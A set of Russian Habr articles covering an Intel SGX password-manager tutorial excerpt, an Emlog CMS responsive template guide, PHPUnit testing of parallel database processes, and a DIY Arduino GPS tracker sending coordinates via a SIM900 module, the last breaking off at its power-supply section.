Наиболее важное ограничение, затрагивающее Tutorial Password Manager, состоит в том, что анклавы не могут выполнять операции ввода-вывода. Анклав не может получать текст с клавиатуры и выводить данные на экран, поэтому все секреты — пароли и данные учетных записей — необходимо вводить в анклав и выводить из него. Кроме того, анклав не может читать файл хранилища и записывать данные в него: компоненты, анализирующие файл хранилища, должны быть отделены от компонентов, выполняющих физические операции ввода-вывода. Это означает, что потребуется переносить через границы анклава не только секреты: потребуется переносить и содержимое файла.
*Рисунок 2. Схема классов в Tutorial Password Manager.*
На рис. 2 показана упрощенная схема классов для ядра приложения (кроме пользовательского интерфейса), включая классы, играющие роль источника и места назначения для секретов. Обратите внимание, что класс *PasswordManagerCore* считается источником и местом назначения для секретов, на этой схеме он взаимодействует с графическим пользовательским интерфейсом ради простоты. В таблице 4 приводится краткое описание всех классов и их назначения.
| Класс | Тип | Функция |
| --- | --- | --- |
| PasswordManagerCore | Управляемый | Взаимодействие с графическим пользовательским интерфейсом C# и сбор данных для уровня собственного кода. |
| PasswordManagerCoreNative | Собственный код, не доверенный | Взаимодействие с классом PasswordManagerCore. Также отвечает за преобразование между Юникодом и многобайтовыми символьными данными (это будет подробнее рассмотрено в части 4). |
| VaultFile | Управляемый | Чтение файла хранилища и запись в него. |
| Хранилище | Собственный код, анклав | Сохранение данных хранилища паролей в членах AccountRecord. Десериализация файла хранилища при чтении, повторная сериализация для записи. |
| AccountRecord | Собственный код, анклав | Сохранение информации учетной записи и паролей для всех учетных записей в хранилище паролей пользователя. |
| Crypto | Собственный код, анклав | Выполнение функций шифрования. |
| DRNG | Собственный код, анклав | Интерфейс генератора случайных чисел. |
*Таблица 4. Описания классов.*
Обратите внимание, что обработка файла хранилища разделена на две части: одна часть посвящена операциям ввода-вывода на физическом уровне, другая сохраняет содержимое после чтения и анализа. Также потребовалось добавить методы сериализации и десериализации к объекту *Vault* в качестве промежуточных источников и мест назначения секретов. Это необходимо, так как класс *VaultFile* не имеет никакой информации о структуре файла хранилища, поскольку для этого требовался бы доступ к функциям шифрования, находящимся внутри анклава.
Мы также соединили класс *PasswordManagerCoreNative* с классом *Vault* пунктирной линией. Как вы, возможно, помните из второй части учебного курса, анклавы могут быть связаны только с функциями C. Эти два класса C++ не могут напрямую обмениваться данными друг с другом: им требуется посредник, который обозначается блоком «Функции моста».
### Ветвь кода без использования Intel Software Guard Extensions
Схема на рис. 2 относится к ветви кода Intel SGX. Класс *PasswordManagerCoreNative* не может связываться напрямую с классом *Vault*, поскольку последний находится внутри анклава. Но в ветви кода без использования Intel SGX такого ограничения нет: *PasswordManagerCoreNative* может напрямую содержать член класса *Vault*. Это единственное упрощение, которое мы сделаем в приложении, не использующем Intel SGX. Чтобы упростить интеграцию анклава, в ветви кода без использования анклава обработка анклава будет выделена в классы *Vault* и *VaultFile*.
Еще одно важное различие между ветвями кода состоит в том, что функции шифрования в коде, использующем Intel SGX, берутся из Intel SGX SDK. Код, не использующий Intel SGX, не может содержать эти функции, поэтому они берутся из API Microsoft Cryptography: Next Generation\* (CNG). Это означает, что потребуется поддерживать две разные копии класса *Crypto*: одну для использования в анклавах, другую для использования в недоверенном пространстве. (То же самое придется сделать и с другими классами; это будет описано в пятой части.)
### Пример кода
Как уже было сказано выше, в этой части предоставляется [пример кода для загрузки](https://software.intel.com/protected-download/676750/675388). Прилагаемый архив включает исходный код основной DLL-библиотеки Tutorial Password Manager до интеграции с анклавом. Другими словами, это версия ядра приложения, не использующая Intel SGX.
Пользовательский интерфейс отсутствует, но мы добавили простейшее тестовое приложение на C#, выполняющее последовательность тестовых операций. Оно выполняет два набора тестов: один создает новый файл хранилища и выполняет различные операции с ним, другой действует с эталонным файлом хранилища, входящим в состав дистрибутива исходного кода. На момент написания этой статьи тестовое приложение требует, чтобы тестовое хранилище находилось в папке Documents, но при необходимости можно изменить расположение в классе TestSetup.
Этот исходный код был разработан в Microsoft Visual Studio\* Professional 2013 согласно требованиям, указанным во [вступлении в эту серию учебных руководств](https://software.intel.com/en-us/articles/introducing-the-intel-software-guard-extensions-tutorial-series). На данном этапе Intel SGX SDK не требуется, но понадобится система, поддерживающая технологию защиты данных Intel с безопасным ключом.
В дальнейших выпусках
---------------------
В четвертой части учебного руководства мы разработаем анклав и функции моста. Следите за новостями! | https://habr.com/ru/post/318012/ | null | ru | null |
# Пишем адаптивный шаблон для Emlog CMS
Сегодня хотелось бы рассказать о Emlog CMS, о данной системе мало кто слышал, но она является хорошим вариантом для ведения личного сайта. Emlog работает быстро и стабильно, но уступает по функционалу Wordpress, например, и у этого скрипта меньше плагинов и шаблонов. Скрипт китайский, но имеет русскую локализацию, правда, шаблоны к нему только на китайском и, в основном, не адаптивные, напишем подходящий шаблон для ведения блога, например.
Работа с Emlog немногим отличается от Wordpress, дефолтный шаблон включает в себя такие файлы, как:
* 404.php
* echo\_log.php – Полная новость.
* footer.php
* header.php
* log\_list.php – Короткая новость.
* main.css – Все css шаблона.
* module.php – Подключаемые модули и комментарии.
* page.php — Страница открытой новости.
* side.php – Боковая панель.
* t.php – Микроблог.
Примеры функций для шаблона:
```
php require_once View::getView('module'); ? //Подключение модулей.
php include View::getView('side'); ? //Подключение боковой панели с модулями.
php echo $site_title; ? //Заголовок страницы.
php blog_navi(); ? //Панель со ссылками.
php echo $footer_info; ? //Информация в конце страницы.
```
За основу своего адаптивного шаблона я возьму установленный по умолчанию шаблон.
Для начала нужно отредактировать main.css и заменить все width с пиксельных на процентные, также важно поставить CSS свойство overflow-x:auto; на контейнеры с контентом, так как элементы контента могут быть неадаптивными и будут отображаться некорректно на мобильных устройствах.
Верхняя панель сo ссылками и боковое меню должны уйти под спойлер, header и footer будут выглядеть в виде картинки с текстом.
Далее перемещаем php blog\_navi(); ? и php include View::getView('side'); ? в таблицу,
которая будет открываться с помощью JS функции, вызываемой при помощи события onclick.
Удаляем дублирующие боковые панели на всех страницах шаблона.
Функция открытия — закрытия спойлера.
```
var menuheader = function(){
if(document.getElementById("splCont").style.display == "none")
{
document.getElementById("splCont").style.display = "block";
}else{
document.getElementById("splCont").style.display = "none";
}
}
```
Вставляем фоновое изображение в header и footer.
```
background-image: url(bg.jpg);
background-position: center center;
background-repeat: no-repeat;
background-attachment: fixed;
background-size: cover;
background-color:#464646;
```
Также нужно оформить разделение между новостями с помощью градиента, используем генератор стилей.
**Код CSS**
```
padding:3%;
border-top:#1faee9 2px solid;
border-bottom:#1faee9 2px solid;
background-color: #e3e3e3;
/* IE9, iOS 3.2+ */
background-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEwMCUiIHZpZXdCb3g9IjAgMCAxIDEiIHByZXNlcnZlQXNwZWN0UmF0aW89Im5vbmUiPjxsaW5lYXJHcmFkaWVudCBpZD0idnNnZyIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIHgxPSIwJSIgeTE9IjAlIiB4Mj0iMCUiIHkyPSIxMDAlIj48c3RvcCBzdG9wLWNvbG9yPSIjZTJlMmUyIiBzdG9wLW9wYWNpdHk9IjEiIG9mZnNldD0iMCIvPjxzdG9wIHN0b3AtY29sb3I9IiNkYmRiZGIiIHN0b3Atb3BhY2l0eT0iMSIgb2Zmc2V0PSIwLjUiLz48c3RvcCBzdG9wLWNvbG9yPSIjZDFkMWQxIiBzdG9wLW9wYWNpdHk9IjEiIG9mZnNldD0iMC41MSIvPjxzdG9wIHN0b3AtY29sb3I9IiNmZWZlZmUiIHN0b3Atb3BhY2l0eT0iMSIgb2Zmc2V0PSIxIi8+PC9saW5lYXJHcmFkaWVudD48cmVjdCB4PSIwIiB5PSIwIiB3aWR0aD0iMSIgaGVpZ2h0PSIxIiBmaWxsPSJ1cmwoI3ZzZ2cpIiAvPjwvc3ZnPg==);
background-image: -webkit-gradient(linear, 0% 0%, 0% 100%,color-stop(0, rgb(226, 226, 226)),color-stop(0.5, rgb(219, 219, 219)),color-stop(0.51, rgb(209, 209, 209)),color-stop(1, rgb(254, 254, 254)));
/* Android 2.3 */
background-image: -webkit-repeating-linear-gradient(top,rgb(226, 226, 226) 0%,rgb(219, 219, 219) 50%,rgb(209, 209, 209) 51%,rgb(254, 254, 254) 100%);
/* IE10+ */
background-image: repeating-linear-gradient(to bottom,rgb(226, 226, 226) 0%,rgb(219, 219, 219) 50%,rgb(209, 209, 209) 51%,rgb(254, 254, 254) 100%);
background-image: -ms-repeating-linear-gradient(top,rgb(226, 226, 226) 0%,rgb(219, 219, 219) 50%,rgb(209, 209, 209) 51%,rgb(254, 254, 254) 100%);
```
Стрелочка «наверх» пригодится, поэтому, вставляем изображение стрелки в header и подключаем CSS.
```
/* Якорь */
[](#top "Вернуться к началу")
```
Форму комментариев также нужно обновить. Ставим placeholder и изменяем стили под цветовую гамму сайта.
```
#contentleft .comment-post .cancel-reply{float:right;font-size:12px;cursor:pointer; _cursor:hand;padding-right:10%}
#contentleft .comment-post .cancel-reply:hover{text-decoration:underline}
#contentleft .comment-post small{font-size:12px; color:#999}
#contentleft .comment-post input{padding:5px 5px; border:1px #1faee9 solid; font-size:12px; color:#333; width:40%}
#contentleft .comment-post #comment{ width:90%; border:1px #1faee9 solid; font-size:12px; color:#333}
```
В шаблоне по умолчанию присутствуют элементы интерфейса, заданные изображениями, их нужно заменить на градиенты.
Я хочу, чтобы на главной странице был слайдер с последними новостями.
Создаем файл slider.php и подключаем его в header.php с помощью конструкции:
```
php require_once View::getView('slider'); ?
```
Пример используемого слайдера по [ссылке](http://www.templatemonster.com/blog/wp-content/uploads/demos/coding-a-responsive-horizontal-posts-slider-using-css3-and-jquery/index.html).
Дорабатываем CSS, чтобы он не конфликтовал с общей стилистикой сайта.
Далее, нужно внедрить контент в полученный слайдер.
Используем встроенные функции Emlog для получения контента из топа. Стоить заметить, что приведенный фрагмент будет работать только на главной странице, так что на других страницах слайдер мешать не будет.
**Код**
```
php
if(!defined('EMLOG\_ROOT')) {exit('error!');}
?
php doAction('index\_loglist\_top'); ? // Загрузка контента.
php
$i=0;
if (!empty($logs)):
foreach($logs as $value): // Цикл, который должен вывести первые 5 новостей перебором массива.
if($i 5) break;
$i++;
?>
php blog\_author($value['author']); ? // Автор новости.
php echo gmdate('Y-n-j G:i', $value['date']); ? //Дата вызывается с помощью функции gmdate() и элемента массива.
### [php echo $value['log\_title']; ?](<?php echo $value['log_url']; ?>)
// Заголовок и ссылка.
// ovweflow-x:auto;
php blog\_sort($value['logid']); ? // Контент
php editflg($value['logid'],$value['author']); ?
php echo $value['log\_description']; ?
php
endforeach; // Конец цикла.
else: // Или выводит пустое окно.
?
// Если не главная страница, то скрываем слайдер.
.crsl-items {
height:0px;
}
php endif;?
---
$(function(){ //
$('.crsl-items').carousel({
visible: 3,
itemMinWidth: 180,
itemEqualHeight: 370,
itemMargin: 9,
});
$("a[href=#]").on('click', function(e) {
e.preventDefault();
});
});
```
Теперь осталось запустить систему, инициализировать базу данных и работать с сайтом.
[GitHub](https://github.com/trikstor/Emlog_project) | [Демо](http://media.twoclub.ru/src/) | https://habr.com/ru/post/305330/ | null | ru | null |
# Тестирование параллельных процессов
Вы встречались с ошибками, которые возникают время от времени в продакшне, но никак не воспроизводятся локально? Бывает, изучаешь такой баг и вдруг понимаешь, что он проявляется только при одновременном параллельном выполнении скриптов. Изучив код, понимаешь как это исправить, чтобы такого больше не повторялось. Но на такое исправление хорошо бы написать тест…
В статье я расскажу о своем подходе к тестированию таких ситуаций. А также приведу несколько наглядных (и наверное даже классических) примеров багов, которые удобно протестировать с помощью этого подхода. Все примеры багов живые — то, что встречается в работе.
Забегая вперед сразу скажу, что в конце статьи будет ссылка на github, куда я выложил готовое решение, позволяющее тестировать параллельные консольные процессы легко и просто.
### Пример номер один. Параллельное добавление одного и того же
Задача. У нас есть приложение с базой данных (PostgreSQL) и нам надо наладить импорт данных из сторонней системы. Допустим, есть таблица `account (id, name)` и связи идентификаторов с внешней системой в таблице `account_import (id, external_id)`. Давайте набросаем простой механизм приема сообщений.
При приеме сообщения будем сперва проверять — есть ли такие записи у нас в базе. Если есть, то будем обновлять имеющиеся. Если нет, то будем добавлять в базу.
```
$data = json_decode($jsonInput, true); // '{"id":1,"name":"account1"}'
try {
$connection->beginTransaction();
// Проверим, есть ли такая запись в базе
$stmt = $connection->prepare("SELECT id FROM account_import
WHERE external_id = :external_id");
$stmt->execute([
':external_id' => $data['id'],
]);
$row = $stmt->fetch();
usleep(100000); // 0.1 sec
// Если импортируемая запись в базе есть, то обновим ее
if ($row) {
$stmt = $connection->prepare("UPDATE account SET name = :name WHERE id = (
SELECT id FROM account_import WHERE external_id = :external_id
)");
$stmt->execute([
':name' => $data['name'],
':external_id' => $data['id'],
]);
$accountId = $row['id'];
}
// Иначе создадим новую запись
else {
$stmt = $connection->prepare("INSERT INTO account (name) VALUES (:name)");
$stmt->execute([
':name' => $data['name'],
]);
$accountId = $connection->lastInsertId();
$stmt = $connection->prepare("INSERT INTO account_import (id, external_id)
VALUES (:id, :external_id)");
$stmt->execute([
':id' => $accountId,
':external_id' => $data['id'],
]);
}
$connection->commit();
}
catch (\Throwable $e) {
$connection->rollBack();
throw $e;
}
```
С первого взгляда выглядит хорошо. Но если данные в нашу систему могут передаваться не строго последовательно, тут можем столкнуться с проблемой. Задержка 0.1 секунды в этом примере нам нужна, чтобы гарантированно воспроизвести проблему. Что будет, если выполнить импорт одних и тех же данных параллельно? Вероятно, вместо того, чтобы данные были добавлены, а потом обновлены, будет попытка повторной вставки данных и, как следствие, ошибка нарушения первичного ключа в account\_import.
Чтобы исправить ошибку, ее хорошо бы сперва воспроизвести. А лучше всего — написать тест, который воспроизводит ошибку. Я решил для этого запускать команды асинхронно с помощью bash и написал простой скрипт для этого, который можно использовать не только в связке с PHP.
Идея проста — запускаем в фоне несколько экземпляров команд, потом ждем когда все они завершатся, и проверяем коды выполнения. Если среди кодов выполнения есть отличные от нуля, значит мы нашли баг. В упрощенном виде скрипт будет выглядеть так:
```
# Команда, которую будем проверять
COMMAND=”echo -e '{\"id\":1,\"name\":\"account1\"}' | ./cli app:import”
# PID-ы запущенных фоновых процессов
pids=()
# Результаты выполнения фоновых процессов
results=()
# Ожидаемые результаты выполнения фоновых процессов (нули)
expects=()
# Запустим процессы в фоне и перенаправим вывод в stderr
for i in $(seq 2)
do
eval $COMMAND 1>&2 & pids+=($!) ; echo -e '>>>' Process ${pids[i-1]} started 1>&2
done
# Ожидаем завершения каждого процесса и сохраняем результаты в $results
for pid in "${pids[@]}"
do
wait $pid
results+=($?)
expects+=(0)
echo -e '<<<' Process $pid finished 1>&2
done
# Сравним полученные результаты с ожидаемыми
result=`( IFS=$', '; echo "${results[*]}" )`
expect=`( IFS=$', '; echo "${expects[*]}" )`
if [ "$result" != "$expect" ]
then
exit 1
fi
```
Полную версию скрипта [выложил на github](https://github.com/mnvx/pprocess/blob/master/bin/pprocess).
На основе этой команды мы можем дописать к PHPUnit новые assert-ы. Тут уже все проще и я не буду подробно останавливаться на этом. Скажу только, что в вышеупомянутом проекте они реализованы. Чтобы их использовать достаточно подключить трейт `AsyncTrait` к вашему тесту.
Напишем такой тест.
```
use App\Command\Initializer;
use Mnvx\PProcess\AsyncTrait;
use Mnvx\PProcess\Command\Command;
use PHPUnit\Framework\TestCase;
use Symfony\Component\Console\Tester\CommandTester;
class ImportCommandTest extends TestCase
{
use AsyncTrait;
public function testImport()
{
$cli = Initializer::create();
$command = $cli->find('app:delete');
// Удаляем запись c external_id = 1,
// чтобы проверить случай параллельного добавления одной и той же записи
$commandTester = new CommandTester($command);
$commandTester->execute([
'externalId' => 1,
]);
$asnycCommand = new Command(
'echo -e \'{"id":1,"name":"account1"}\' | ./cli app:import', // Тестируемая команда
dirname(__DIR__), // Каталог, из которого будет запускаться команда
2 // Количество запускаемых экземпляров команд
);
// Запуск проверки
$this->assertAsyncCommand($asnycCommand);
}
}
```
В результате запуска теста получим такой вывод.
```
$ ./vendor/bin/phpunit
PHPUnit 6.1.1 by Sebastian Bergmann and contributors.
F 1 / 1 (100%)
Time: 230 ms, Memory: 6.00MB
There was 1 failure:
1) ImportCommandTest::testImport
Failed asserting that command
echo -e '{"id":1,"name":"account1"}' | ./cli app:import (path: /var/www/pprocess-playground, count: 2)
executed in parallel.
Output:
>>> Process 18143 started
>>> Process 18144 started
Account 25 imported correctly
[Doctrine\DBAL\Exception\UniqueConstraintViolationException]
An exception occurred while executing 'INSERT INTO account_import (id, exte
rnal_id) VALUES (:id, :external_id)' with params ["26", 1]:
SQLSTATE[23505]: Unique violation: 7 ОШИБКА: повторяющееся значение ключа
нарушает ограничение уникальности "account_import_pkey"
DETAIL: Ключ "(external_id)=(1)" уже существует.
-------
app:import
<<< Process 18143 finished
<<< Process 18144 finished
.
/var/www/pprocess-playground/vendor/mnvx/pprocess/src/AsyncTrait.php:19
/var/www/pprocess-playground/tests/ImportCommandTest.php:30
FAILURES!
Tests: 1, Assertions: 1, Failures: 1.
```
Причину мы уже обсудили. Теперь попробуем добавить принудительную блокировку параллельного выполнения фрагмента нашего скрипта (тут используется [malkusch/lock](https://github.com/malkusch/lock)).
```
$mutex = new FlockMutex(fopen(__FILE__, 'r'));
$mutex->synchronized(function () use ($connection, $data) {
// наш код из блока try
});
```
Тест пройден:
```
$ ./vendor/bin/phpunit
PHPUnit 6.1.1 by Sebastian Bergmann and contributors.
. 1 / 1 (100%)
Time: 361 ms, Memory: 6.00MB
OK (1 test, 1 assertion)
```
Этот и другие примеры я [выложил на github](https://github.com/mnvx/pprocess-playground), если вдруг кому-то понадобится.
### Пример номер два. Подготовка данных в таблице
Этот пример будет немного интереснее. Допустим, у нас есть таблица пользователей `users (id, name)` и мы желаем хранить в таблице `users_active (id)` список активных в настоящий момент пользователей.
У нас будет команда, которая каждый раз будет удалять все записи из таблицы `users_acitve` и добавлять туда данные заново.
```
try {
$connection->beginTransaction();
$connection->prepare("DELETE FROM users_active")->execute();
usleep(100000); // 0.1 sec
$connection->prepare("INSERT INTO users_active (id) VALUES (3), (5), (6), (10)")->execute();
$connection->commit();
$output->writeln('users\_active refreshed');
}
catch (\Throwable $e) {
$connection->rollBack();
throw $e;
}
```
Тут только с первого взгляда все хорошо. На самом же деле при параллельном запуске снова получим ошибку.
Напишем тест, чтобы ее воспроизвести.
```
use Mnvx\PProcess\AsyncTrait;
use Mnvx\PProcess\Command\Command;
use PHPUnit\Framework\TestCase;
class DetectActiveUsersCommandTest extends TestCase
{
use AsyncTrait;
public function testImport()
{
$asnycCommand = new Command(
'./cli app:detect-active-users', // Тестируемая команда
dirname(__DIR__), // Каталог, из которого будет запускаться команда
2 // Количество запускаемых экземпляров команд
);
// Запуск проверки
$this->assertAsyncCommand($asnycCommand);
}
}
```
Запускаем тест и видим текст ошибки:
```
$ ./vendor/bin/phpunit tests/DetectActiveUsersCommandTest.php
PHPUnit 6.1.1 by Sebastian Bergmann and contributors.
F 1 / 1 (100%)
Time: 287 ms, Memory: 4.00MB
There was 1 failure:
1) DetectActiveUsersCommandTest::testImport
Failed asserting that command
./cli app:detect-active-users (path: /var/www/pprocess-playground, count: 2)
executed in parallel.
Output:
>>> Process 24717 started
>>> Process 24718 started
users_active refreshed
<<< Process 24717 finished
[Doctrine\DBAL\Exception\UniqueConstraintViolationException]
An exception occurred while executing 'INSERT INTO users_active (id) VALUES
(3), (5), (6), (10)':
SQLSTATE[23505]: Unique violation: 7 ОШИБКА: повторяющееся значение ключа
нарушает ограничение уникальности "users_active_pkey"
DETAIL: Ключ "(id)=(3)" уже существует.
-------
app:detect-active-users
<<< Process 24718 finished
.
/var/www/pprocess-playground/vendor/mnvx/pprocess/src/AsyncTrait.php:19
/var/www/pprocess-playground/tests/DetectActiveUsersCommandTest.php:19
FAILURES!
Tests: 1, Assertions: 1, Failures: 1.
```
По тексту ошибки понятно, что снова INSERT выполняется параллельно и это приводит к нежелательным последствиям. Попробуем сделать блокировку на уровне записей — добавим строчку после старта транзакции:
```
$connection->prepare("SELECT id FROM users_active FOR UPDATE")->execute();
```
Запускаем тест — ошибка ушла. Наш тест запускает два экземпляра процесса. Давайте увеличим в нашем тесте количество экземпляров до 3-х и посмотрим, что будет.
```
$asnycCommand = new Command(
'./cli app:detect-active-users', // Тестируемая команда
dirname(__DIR__), // Каталог, из которого будет запускаться команда
3 // Количество запускаемых экземпляров команд
);
```
И снова имеем ту же ошибку. В чем дело, мы же добавили блокировку?! Немного подумав, можно догадаться, что такая блокировка поможет только если в таблице `users_active` есть записи. В случае же, когда работают 3 процесса одновременно, получается картина такая — первый процесс получает блокировку. Второй и третий процесс ждут завершения транзакции первого процесса. Как только транзакция будет завершена, продолжат выполняться параллельно и второй и третий процесс, что приведет к нежелательным последствиям.
Чтобы починить, сделаем блокировку более общую. Например,
```
$connection->prepare("SELECT id FROM users WHERE id IN (3, 5, 6, 10) FOR UPDATE")->execute();
```
Либо вместо `DELETE` мы могли просто воспользоваться `TRUNCATE`, которая блокирует всю таблицу.
### Пример номер три. Deadlock
Бывает, что сама по себе команда не приводит к проблемам, но одновременный вызов двух разных команд, работающих с одними и теми же ресурсами приводит к проблемам. Найти причины таких багов бывает нелегко. Но если причина найдена, то тест написать точно стоит, чтобы избежать возвращения проблемы в будущем при внесении изменений в код.
Напишем пару таких команд. Это классический случай, когда возникает взаимная блокировка.
Первая команда сперва обновляет запись с id=1, потом с id=2.
```
try {
$connection->beginTransaction();
$connection->prepare("UPDATE deadlock SET value = value + 1 WHERE id = 1")->execute();
usleep(100000); // 0.1 sec
$connection->prepare("UPDATE deadlock SET value = value + 1 WHERE id = 2")->execute();
$connection->commit();
$output->writeln('Completed without deadlocks');
}
catch (\Throwable $e) {
$connection->rollBack();
throw $e;
}
```
Вторая команда сперва обновляет запись с id=2, потом с id=1.
```
try {
$connection->beginTransaction();
$connection->prepare("UPDATE deadlock SET value = value + 1 WHERE id = 2")->execute();
usleep(100000); // 0.1 sec
$connection->prepare("UPDATE deadlock SET value = value + 1 WHERE id = 1")->execute();
$connection->commit();
$output->writeln('Completed without deadlocks');
}
catch (\Throwable $e) {
$connection->rollBack();
throw $e;
}
```
Тест будет выглядеть так.
```
use Mnvx\PProcess\AsyncTrait;
use Mnvx\PProcess\Command\CommandSet;
use PHPUnit\Framework\TestCase;
class DeadlockCommandTest extends TestCase
{
use AsyncTrait;
public function testImport()
{
$asnycCommand = new CommandSet(
[ // Тестируемые команды
'./cli app:deadlock-one',
'./cli app:deadlock-two'
],
dirname(__DIR__), // Каталог, из которого будет запускаться команда
1 // Количество запускаемых экземпляров команд
);
// Запуск проверки
$this->assertAsyncCommands($asnycCommand);
}
}
```
В результате запуска теста увидим причину ошибки:
```
$ ./vendor/bin/phpunit tests/DeadlockCommandTest.php
PHPUnit 6.1.1 by Sebastian Bergmann and contributors.
F 1 / 1 (100%)
Time: 1.19 seconds, Memory: 4.00MB
There was 1 failure:
1) DeadlockCommandTest::testImport
Failed asserting that commands
./cli app:deadlock-one, ./cli app:deadlock-two (path: /var/www/pprocess-playground, count: 1)
executed in parallel.
Output:
>>> Process 5481 started: ./cli app:deadlock-one
>>> Process 5481 started: ./cli app:deadlock-two
[Doctrine\DBAL\Exception\DriverException]
An exception occurred while executing 'UPDATE deadlock SET value = value +
1 WHERE id = 1':
SQLSTATE[40P01]: Deadlock detected: 7 ОШИБКА: обнаружена взаимоблокировка
DETAIL: Процесс 5498 ожидает в режиме ShareLock блокировку "транзакция 294
738"; заблокирован процессом 5499.
Процесс 5499 ожидает в режиме ShareLock блокировку "транзакция 294737"; заб
локирован процессом 5498.
HINT: Подробности запроса смотрите в протоколе сервера.
CONTEXT: при изменении кортежа (0,48) в отношении "deadlock"
-------
app:deadlock-two
Completed without deadlocks
<<< Process 5481 finished
<<< Process 5484 finished
.
/var/www/pprocess-playground/vendor/mnvx/pprocess/src/AsyncTrait.php:39
/var/www/pprocess-playground/tests/DeadlockCommandTest.php:22
FAILURES!
Tests: 1, Assertions: 1, Failures: 1.
```
Проблема лечится добавлением блокировки по аналогии с первым примером. Либо пересмотром структуры базы или алгоритма работы с данными.
### Резюмируем
При параллельном исполнении кода могут возникать неожиданные ситуации, при исправлении которых полезно написать тесты. Мы рассмотрели несколько таких ситуаций и написали тесты, воспользовавшись [pprocess](https://github.com/mnvx/pprocess). | https://habr.com/ru/post/327292/ | null | ru | null |
# GPS Tracker на ардуино своими руками
После нескольких экспериментов с ардуиной решил сделать простенький и не очень дорогой GPS-tracker с отправкой координат по GPRS на сервер.
Используется Arduino Mega 2560 (Arduino Uno), SIM900 — GSM/GPRS модуль (для отправки информации на сервер), GPS приёмник SKM53 GPS.
Всё закуплено на ebay.com, в сумме около 1500 р (примерно 500р ардуина, немного меньше — GSM модуль, немного больше — GPS).
#### GPS приемник
Для начала нужно разобраться с работой с GPS. Выбранный модуль — один из самых дешевых и простых. Тем не менее, производитель обещает наличие батарейки для сохранения данных о спутниках. По даташиту, холодный старт должен занимать 36 секунд, однако, в моих условиях (10 этаж с подоконника, вплотную зданий нет) это заняло аж 20 минут. Следующий старт, однако, уже 2 минуты.
Важный параметр устройств, подключаемых к ардуине — энергопотребление. Если перегрузить преобразователь ардуины, она может сгореть. Для используемого приемника максимальное энергопотребление — 45mA @ 3.3v. Зачем в спецификации указывать силу тока на напряжении, отличном от требуемого (5V), для меня загадка. Тем не менее, 45 mA преобразователь ардуины выдержит.
##### Подключение
GPS не управляемый, хотя и имеет RX пин. Для чего — неизвестно. Основное, что можно делать с этим приемником — читать данные по протоколу NMEA с TX пина. Уровни — 5V, как раз для ардуины, скорость — 9600 бод. Подключаю VIN в VCC ардуины, GND в GND, TX в RX соответствующего serial. Читаю данные сначала вручную, затем с использованием библиотеки TinyGPS. На удивление, всё читается. После перехода на Uno пришлось использовать SoftwareSerial, и тут начались проблемы — теряется часть символов сообщения. Это не очень критично, так как TinyGPS отсекает невалидные сообщения, но довольно неприятно: о частоте в 1Гц можно забыть.
Небольшое замечание относительно SoftwareSerial: на Uno нет хардверных портов (кроме соединённого с USB Serial), поэтому приходится использовать программный. Так вот, он может принимать данные только на пине, на котором плата поддерживает прерывания. В случае Uno это 2 и 3. Мало того, данные одновременно может получать только один такой порт.
Вот так выглядит «тестовый стенд».
#### GSM приемник/передатчик
Теперь начинается более интересная часть. GSM модуль — SIM900. Он поддерживает GSM и GPRS. Ни EDGE, ни уж тем более 3G, не поддерживаются. Для передачи данных о координатах это, вероятно, хорошо — не будет задержек и проблем при переключении между режимами, плюс GPRS сейчас есть почти везде. Однако, для каких-то более сложных приложений этого уже может не хватить.
##### Подключение
Модуль управляется также по последовательному порту, с тем же уровнем — 5V. И здесь нам уже понадобятся и RX, и TX. Модуль — shield, то есть, он устанавливается на ардуину. Причем совместим как с mega, так и с uno. Скорость по умолчанию — 115200.
Собираем на Mega, и тут нас ждет первый неприятный сюрприз: TX пин модуля попадает на 7й пин меги. На 7м пину меги недоступны прерывания, а значит, придется соединить 7й пин, скажем, с 6м, на котором прерывания возможны. Таким образом, потратим один пин ардуины впустую. Ну, для меги это не очень страшно — всё-таки пинов хватает. А вот для Uno это уже сложнее (напоминаю, там всего 2 пина, поддерживающих прерывания — 2 и 3). В качестве решения этой проблемы можно предложить не устанавливать модуль на ардуину, а соединить его проводами. Тогда можно использовать Serial1.
После подключения пытаемся «поговорить» с модулем (не забываем его включить). Выбираем скорость порта — 115200, при этом хорошо, если все встроенные последовательные порты (4 на меге, 1 на uno) и все программные работают на одной скорости. Так можно добиться более устойчивой передачи данных. Почему — не знаю, хотя и догадываюсь.
Итак, пишем примитивный код для проброса данных между последовательными портами, отправляем atz, в ответ тишина. Что такое? А, case sensitive. ATZ, получаем OK. Ура, модуль нас слышит. А не позвонить ли нам ради интереса? ATD +7499… Звонит городской телефон, из ардуины идет дымок, ноутбук вырубается. Сгорел преобразователь Arduino. Было плохой идеей кормить его 19 вольтами, хотя и написано, что он может работать от 6 до 20V, рекомендуют 7-12V. В даташите на GSM модуль нигде не сказано о потребляемой мощности под нагрузкой. Ну что ж, Mega отправляется в склад запчастей. С замиранием сердца включаю ноутбук, получивший +19V по +5V линии от USB. Работает, и даже USB не выгорели. Спасибо Lenovo за защиту.
После выгорания преобразователя я поискал потребляемый ток. Так вот, пиковый — 2А, типичный — 0.5А. Такое явно не под силу преобразователю ардуины. Нужно отдельное питание.
##### Программирование
Модуль предоставляет широкие возможности передачи данных. Начиная от голосовых вызовов и SMS и заканчивая, собственно, GPRS. Причем для последнего есть возможность выполнить HTTP запрос при помощи AT команд. Придется отправить несколько, но это того стоит: формировать запрос вручную не очень-то хочется. Есть пара нюансов с открытием канала передачи данных по GPRS — помните классические AT+CGDCONT=1,«IP»,«apn»? Так вот, тут то же самое нужно, но слегка хитрее.
Для получения страницы по определенному URL нужно послать следующие команды:
```
AT+SAPBR=1,1 //Открыть несущую (Carrier)
AT+SAPBR=3,1,"CONTYPE","GPRS" //тип подключения - GPRS
AT+SAPBR=3,1,"APN","internet" //APN, для Мегафона - internet
AT+HTTPINIT //Инициализировать HTTP
AT+HTTPPARA="CID",1 //Carrier ID для использования.
AT+HTTPPARA="URL","http://www.example.com/GpsTracking/record.php?Lat=%ld&Lng=%ld" //Собственно URL, после sprintf с координатами
AT+HTTPACTION=0 //Запросить данные методом GET
//дождаться ответа
AT+HTTPTERM //остановить HTTP
```
В результате, при наличии соединения, получим ответ от сервера. То есть, фактически, мы уже умеем отправлять данные о координатах, если сервер принимает их по GET.
##### Питание
